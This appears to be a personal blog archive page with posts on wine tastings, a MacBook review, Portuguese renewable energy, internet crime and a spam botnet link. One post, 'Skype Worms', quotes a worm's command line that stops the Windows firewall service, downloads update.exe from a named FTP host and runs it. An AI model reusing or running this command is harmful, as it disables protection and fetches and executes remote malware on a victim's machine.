A Spam botnet Backoffice

Around 80% of the Spam messages on the Internet are sent by Spam Zombies. For those who don’t know what I’m talking about, Spam Zombies are normal PCs that were infected by some malicious software and then controlled by some spammer.

The spammer then uses a backoffice to send orders to those infected PCs, or basically to send spam for living..


This nice post from pmontoya, shows exactly what such a backoffice looks like.

Wine Tasting (IV)

Another Wine Tasting session with some friends. Well, I’m kind of late on updating my blog since it happened last week. 🙂
This time we did a “California vs Portugal”. I have a theory that says that a 30-40USD Wine from California is as good as a 10EUR Wine from Portugal.

I still believe in my theory, but unfortunately our choice of Portuguese wines was not that good this time. Too bad that we didn’t do this face-off last week, for the Wine Tasting (III) session.

wine tasting

We had 3 wines: one from California (Napa Valley), one from Douro and one from Bairrada:

  • Blend 24, 2004, Napa Valley, California: A blend of 75% Cabernet Sauvignon, 15% Merlot and 10% Syrah. An excellent wine (and expensive), we all loved it. Aromas dominated by Berries, texture finishes with soft tannins and a bright acidity.
  • Bairrada, Altoviso, garrafeira 1994: this wine is made only with 1 type of grape: Baga. I was expecting something as good as the last one that we tried last week – Primavera 1995. Unfortunately it was completely different, a lot worse than the previous one.
  • Romeu, 2003, Douro: This one was definitively different than the Douro wines we are used to. It’s interesting, but we were not crazy about it.

Another point for Microsoft

Microsoft has available on its site a Virtual PC Image with Windows XP and Internet Explorer 6 or 7, so Web Developers can test their applications on both versions of the browser.

I installed the image with IE7. When you start the image you have a couple of shortcuts in the Desktop. One of them is to install the IE7 Readiness Toolkit. When you try to install it, it checks if you are running Genuine Microsoft Software.

Guess what?

This copy of Windows did not pass genuine validation. The product key found on this computer was reported as stolen or lost.

Wine Tasting (III)

Another Wine Tasting session with some friends.

This time, we tried 3 red wines from Douro and 1 wine from Bairrada:

  • Aneto, 2002, Douro: fruity, soft tannins. A blend of 5 types of grapes: Touriga Franca, Tinta Roriz, Touriga Nacional, Tinto Cão and Souzão. Everyone loved this wine and this was the favorite one from Douro. The price was around 10EUR.
  • Cistus, Reserva 2003, Douro: also fruity and with soft tannins. This one is a blend of 3 types of grapes: Tinta Roriz, Touriga Franca, Touriga Nacional. The average age of the vineyards used for this wine is 21 years old. The price was around 13EUR.
  • Encosta longa, Reserva 2003, Douro: this wine is a blend of 4 types of grapes: Tinta Roriz, Touriga Franca, Touriga Nacional and Tinta Barroca. After tasting all wines, no one really like this one. Maybe because all the others were superior, maybe not… A few hours later, everyone enjoyed the wine.. Maybe we were all tipsy by then, or maybe the wine needed more time to open… The price of this wine was around 7EUR.
  • Primavera, 1995, Bairrada: this wine is made only with 1 type of grape: Baga. It aged enough to delight us all although it can still get better in a few years. Good body, powerful flavor and very elegant this wine was the favorite one from everyone. The price of this wine was around 10EUR. Baga is a typical type of grape from Bairrada. Usually people either love it or hate it. Usually wines made from this type of grape show their splendis after 10+ years.

wine tasting
My fiancee gave me a Wine Tasting game, so this time we had extra fun during the session. We blind-tasted all wines. Each bottle was numbered from 1 to 4. Each one of us had a paper to take notes. I asked them to guess the most expensive wine, to rank each one, and to write everything else they want about each wine.

We all identified the cheapest one and we all thought the wine from Bairrada was the most expensive one. Ah, I have to say that no one is a wine expert.

Skype Worms

Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?

cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ‘sçij 7del ij 7update.exe 7net start sharedaccess 7exit

Lately I’ve been receiving this message from my mom. I was able to successfully connect the ftp server described in the message. Obviously this is some sort of Worm/Trojan that is affecting Skype users, but what is confusing me is that I’m receiving this message from a Mac user. My mom owns a Mac mini, running MacOSX 10.4.9. I already received 3 messages like this from her.

Since Skype released its API there have been a few worms/trojans going around. I know people that joins chat rooms without doing anything to join them. I’m just wondering if this is a Skype-only issue and not worry about it or if I should really worry about it and do something to her computer.

[Update 29th May: I found out that this is not related to Skype. It’s a worm based on a brute force attack to VNC servers. It doesn’t really do anything else other than having that block of text pasted in the window with the focus. For more information see http://episteme.arstechnica.com/eve/forums/a/tpc/f/469092836/m/264004244831 ]

Green Energy

The ambitious project by the Portuguese government that aims to increase electricity generated from renewable sources to 45 percent by 2010 is not new news. However, what is new is that this is not just political bullshit, a lot of private investment has gone into it as well.

Today, the World’s largest Solar Power Plant opened in Portugal and it is expected to produce 20 gigawatt-hours per hour.

It was also announced today that EDP, the country’s biggest electricity utility, agreed to buy Horizon Wind Energy LLC of Texas from Goldman Sachs Group Inc. for $2.15 billion, becoming the world’s fourth largest wind-power producer.

Internet and Crime

Crime on the Internet is old news, specially crimes about sexual predators and child pornography. In my opinion, in the near future we all will need to be a little more careful about the things we publish on the Internet for our own security. There’s a niche of crimes that hasn’t been exploited yet and I realize a lot of people are not even aware about the type of information they publish online.

I’m talking about the use of the Internet to help burglars rob homes. If you think about it for awhile, a lot of people publish on their blogs where they are. Some even have maps of their current location. They also publish on their blogs about the toys they buy, their stuff, etc. and all this together can help a burglar choose its next target. However, I have not read about something like this happening yet.
Today, I read a story about the use of Orkut for other types of crimes. Earlier this month, a 43 year old woman was robbed and brutally murdered after a date set on Orkut. More recently a 19 year old boy committed suicide after a defaming message that was spread on Orkut. For this reason, and after several battles between Orkut and Google, the Brazilian authorities blocked or are going to block Orkut (whatever it means) in Brazil.

Wine Tasting (II)

Last night, some friends and I tried some red wines.

This time, we tried the following red wines:

  • Quinta Vale do Bragão, Douro, 2002 An amazing wine from Douro of course. Established on the Pinhão slopes in the 18th Century, Quinta Vale do Bragão belongs to the Borges Costa family. Its varieties of Touriga Nacional, Touriga Franca, Tinta Roriz and Tinto Cão are carefully vinified and then aged 12 months in small oak barrels. A balanced structure carries great complexity to a pleasing finish.
  • Herdade de Muge, Ribatejo, 2004 The Herdade da Muge is a concentrated wine with complex berry and spice flavours, and well integrated oak.
  • Quinta do Couquinho, Douro, 2003Another amazing wine from Douro. Its varieties of Touriga Nacional, Tinta Roriz and Touriga Franca are carefully vinified and then aged for 12 months in French oak barrels. Powerful flavor, very elegant, a long finish and excellent tannin result n an elegant and perfectly balanced red wine.

wine tasting

From the above 3 my first choice is the third one, although for most of my friends it was the first one. Anyway I loved both. 🙂


Now, as a new Macbook user and ex-Powerbook user, I can express my opinion about both.

The Macbook is the black version, 2GHz Intel Core 2 Duo, 2Gb RAM. The Powerbook is 2 years old and it’s the 15″ version with the Powerdrive.

The performance of this Macbook is really awesome. Everything is super fast. It’s the fastest experience I have ever had with computers (Laptops and PCs). I love everything about it except two things: the display and the keyboard, but mainly the display.

About the display, I hate the fact that it is glossy and the visualization angle sucks. I wonder why computer hardware manufacturers reverted back to glossy displays. More than a decade ago, displays used to be glossy, but then someone with a brain realized glossy displays equal reflection, so they started making them matte. What was the Neanderthal reason for reverting back?

Well, about the keyboard I can’t really say that I hate it. At least the first impression was not good, but I’m still adapting. I don’t understand what’s the deal about flat keys. I thought the use of ergonomic keys was a standard nowadays. We’ll see in a couple of weeks whether I will get used to it and start preferring it or not.

About the old Powerbook, it is 2 years old and it is still good for today’s software. The display, unlike the Macbook’s display is awesome: it’s matte and the visualization angle is the best one I have ever seen on a laptop.